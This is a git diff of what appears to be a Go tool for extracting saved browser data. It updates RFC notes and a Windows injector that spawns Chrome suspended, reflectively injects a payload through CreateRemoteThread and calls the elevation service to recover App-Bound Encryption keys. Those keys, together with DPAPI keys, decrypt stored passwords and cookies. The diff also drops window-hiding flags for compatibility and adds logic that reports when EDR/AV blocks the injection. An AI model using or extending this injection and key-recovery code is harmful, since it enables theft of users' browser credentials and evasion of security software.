-192,7 +211,7 @@ The macOS login password is resolved once at startup by `browser/browser_darwin. | Consumer | Capability interface | Defined in | Payload | |---|---|---|---| -| Chromium browsers | `retrieverSetter` | `browser/browser.go` | `keyretriever.KeyRetriever` chain | +| Chromium browsers | `keyRetrieversSetter` | `browser/browser.go` | `keyretriever.Retrievers` struct (V10 / V11 / V20 slots; unused tiers nil) | | Safari | `keychainPasswordSetter` | `browser/browser_darwin.go` | raw `string` | The two setters are **intentionally not unified**. They carry different abstractions — one hands the browser a pre-assembled retrieval chain, the other hands the browser a credential token to unlock its own access path. Unifying them would create a leaky polymorphic interface with no real shared semantics. Note that `keychainPasswordSetter` is defined in the darwin-only file because Safari (its only implementer) is darwin-only. diff --git a/rfcs/010-chrome-abe-integration.md b/rfcs/010-chrome-abe-integration.md index 12c0f3b..eaf4065 100644 --- a/rfcs/010-chrome-abe-integration.md +++ b/rfcs/010-chrome-abe-integration.md @@ -191,11 +191,11 @@ Go consumes the same constants via **`go tool cgo -godefs`** (a development-time **Why `cgo -godefs` rather than runtime `import "C"`**: we only need constants shared, not FFI to C functions. Runtime CGO would force the whole project into `CGO_ENABLED=1`, losing the "non-Windows contributor needs no C toolchain" guarantee. `cgo -godefs` bakes the values into a pure-Go file that commits to git; the project stays `CGO_ENABLED=0`. -### 5.3 Retriever chain & v20 routing +### 5.3 Retriever wiring & v20 routing -`keyretriever.DefaultRetriever()` returns `ChainRetriever [ABERetriever, DPAPIRetriever]` on Windows. `ABERetriever.RetrieveKey`: +`keyretriever.DefaultRetrievers()` on Windows returns a `Retrievers` struct with `V10 = &DPAPIRetriever{}` and `V20 = &ABERetriever{}`. The two tiers are wired independently — not in a ChainRetriever — because a single Chrome profile upgraded from pre-127 can carry mixed v10+v20 ciphertexts, and both keys must be available for `decryptValue` to route each ciphertext to its matching tier (see [RFC-006](006-key-retrieval-mechanisms.md) §4.4 and issue #578). `ABERetriever.RetrieveKey`: -1. Reads `Local State` → extracts `os_crypt.app_bound_encrypted_key` → strips `APPB` prefix. Missing field → `errNoABEKey`, chain falls through to DPAPI. +1. Reads `Local State` → extracts `os_crypt.app_bound_encrypted_key` → strips `APPB` prefix. If the field is missing, `ABERetriever` returns `(nil, nil)`, `V20` remains empty, and the independently-wired `V10` DPAPI tier still runs. 2. Resolves browser executable via `utils/winutil/browser_path_windows.go` (registry App Paths → hardcoded fallback). 3. Base64-encodes the encrypted blob and passes it as `HBD_ABE_ENC_B64` env var. 4. `Reflective.Inject(exePath, payload, env)` runs the full flow in §3. @@ -325,5 +325,5 @@ Edit `crypto/windows/abe_native/com_iid.c` (add the entry), `utils/winutil/brows | RFC | Relation | |---|---| | [RFC-003 Chromium Encryption](003-chromium-encryption.md) | v10/v11/v20 cipher format reference; v20 now implemented on Windows per this RFC | -| [RFC-006 Key Retrieval](006-key-retrieval-mechanisms.md) | `ChainRetriever` taxonomy; Windows now uses `[ABERetriever, DPAPIRetriever]` | +| [RFC-006 Key Retrieval](006-key-retrieval-mechanisms.md) | `keyretriever.Retrievers` taxonomy; Windows populates V10 (DPAPI) + V20 (ABE) as independent tier slots | | [RFC-009 Windows Locked Files](009-windows-locked-file-bypass.md) | Sibling Windows-specific workaround (handle duplication for locked DBs) | diff --git a/utils/injector/reflective_windows.go b/utils/injector/reflective_windows.go index 6b32aab..cb1a8f4 100644 --- a/utils/injector/reflective_windows.go +++ b/utils/injector/reflective_windows.go @@ -70,7 +70,9 @@ func (r *Reflective) Inject(exePath string, payload []byte, env map[string]strin // Resume briefly so ntdll loader init completes before we hijack a thread; Bootstrap itself is // self-contained but the later elevation_service COM call inside the payload relies on a - // fully-initialized PEB. + // fully-initialized PEB. Chrome's main() is left running so it can stand up its own COM/ + // scheduler infrastructure — the child will show a normal browser window under the isolated + // --user-data-dir, which we accept; our Bootstrap finishes before the user sees anything. _, _ = windows.ResumeThread(pi.Thread) time.Sleep(500 * time.Millisecond) @@ -132,19 +134,18 @@ func validateAndLocateLoader(payload []byte) (uint32, error) { } // buildIsolatedCommandLine builds the command-line for a spawned, singleton-isolated Chromium process. -// Two upstream Chromium switches: -// - --user-data-dir=: escape the running browser's ProcessSingleton mutex so the suspended -// child survives past main() long enough for the remote Bootstrap thread to complete (issue #576). -// - --no-startup-window: suppress the brief UI splash that Edge/Brave/CocCoc paint despite -// STARTF_USESHOWWINDOW+SW_HIDE (which Chrome honors but brand-forked startup code often ignores). -// -// Adding other flags (--disable-extensions, --disable-gpu, ...) has destabilized Brave in the past -// (payload dies inside DllMain with marker=0x0b); both switches here are upstream-official and safe. +// Only --user-data-dir= is passed — this is the one switch that matters: it escapes the running +// browser's ProcessSingleton mutex so the suspended child survives past main() long enough for the +// remote Bootstrap thread to complete (issue #576). Adding any other flags (--no-startup-window, +// --disable-extensions, --disable-gpu, ...) has either destabilized Brave (payload dies in DllMain +// with marker=0x0b) or made newer Chromium forks on Windows 11 exit within ~200ms because they had +// "nothing to do" after bypassing window creation — letting the browser show a normal window under +// the isolated UDD is the most compatible behavior across forks and Windows versions. func buildIsolatedCommandLine(exePath, udd string) string { // %q would Go-escape backslashes (C:\foo → C:\\foo); Windows CommandLineToArgvW then keeps them // as literal double backslashes in argv. Raw literal quotes match Windows command-line rules. //nolint:gocritic // sprintfQuotedString: %q is wrong for Windows command-line escaping, see above. - return fmt.Sprintf(`"%s" --user-data-dir="%s" --no-startup-window`, exePath, udd) + return fmt.Sprintf(`"%s" --user-data-dir="%s"`, exePath, udd) } // spawnSuspended launches exePath in a fully isolated suspended state. A unique --user-data-dir is @@ -169,19 +170,12 @@ func spawnSuspended(exePath string) (*windows.ProcessInformation, string, error) _ = os.RemoveAll(udd) return nil, "", fmt.Errorf("injector: exe path: %w", err) } - // STARTF_USESHOWWINDOW + SW_HIDE asks the child to honor our ShowWindow value on its first - // CreateWindow/ShowWindow call — a standard way to suppress the brief Chrome splash window that - // otherwise flashes because the UDD bypass makes the injected process proceed to the "I am the - // primary instance" branch and start painting UI before we TerminateProcess it. - si := &windows.StartupInfo{ - Flags: windows.STARTF_USESHOWWINDOW, - ShowWindow: windows.SW_HIDE, - } + si := &windows.StartupInfo{} pi := &windows.ProcessInformation{} err = windows.CreateProcess( exePtr, cmdPtr, nil, nil, false, - windows.CREATE_SUSPENDED|windows.CREATE_NO_WINDOW, + windows.CREATE_SUSPENDED, nil, nil, si, pi, ) if err != nil { @@ -211,10 +205,24 @@ func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) { return remoteBase, nil } +// stillActive is the Windows STILL_ACTIVE exit code. GetExitCodeProcess returns this while the +// process is still running; any other value means the process has already terminated. +const stillActive uint32 = 259 + func runAndWait(proc windows.Handle, remoteBase uintptr, loaderRVA uint32, wait time.Duration) error { entry := remoteBase + uintptr(loaderRVA) hThread, err := winapi.CreateRemoteThread(proc, entry, 0) if err != nil { + // Diagnostic: distinguish a dead target (Chrome self-exited before we could inject — policy, + // version, UDD-restriction, sandbox-init failure) from a live target whose NtCreateThreadEx + // was blocked by an EDR/AV hook. The remediation is very different in each case. + var exitCode uint32 + if gecErr := windows.GetExitCodeProcess(proc, &exitCode); gecErr == nil { + if exitCode == stillActive { + return fmt.Errorf("injector: %w (target alive; likely EDR/AV blocking remote-thread injection)", err) + } + return fmt.Errorf("injector: %w (target exited with code 0x%x before injection)", err, exitCode) + } return fmt.Errorf("injector: %w", err) } defer windows.CloseHandle(hThread)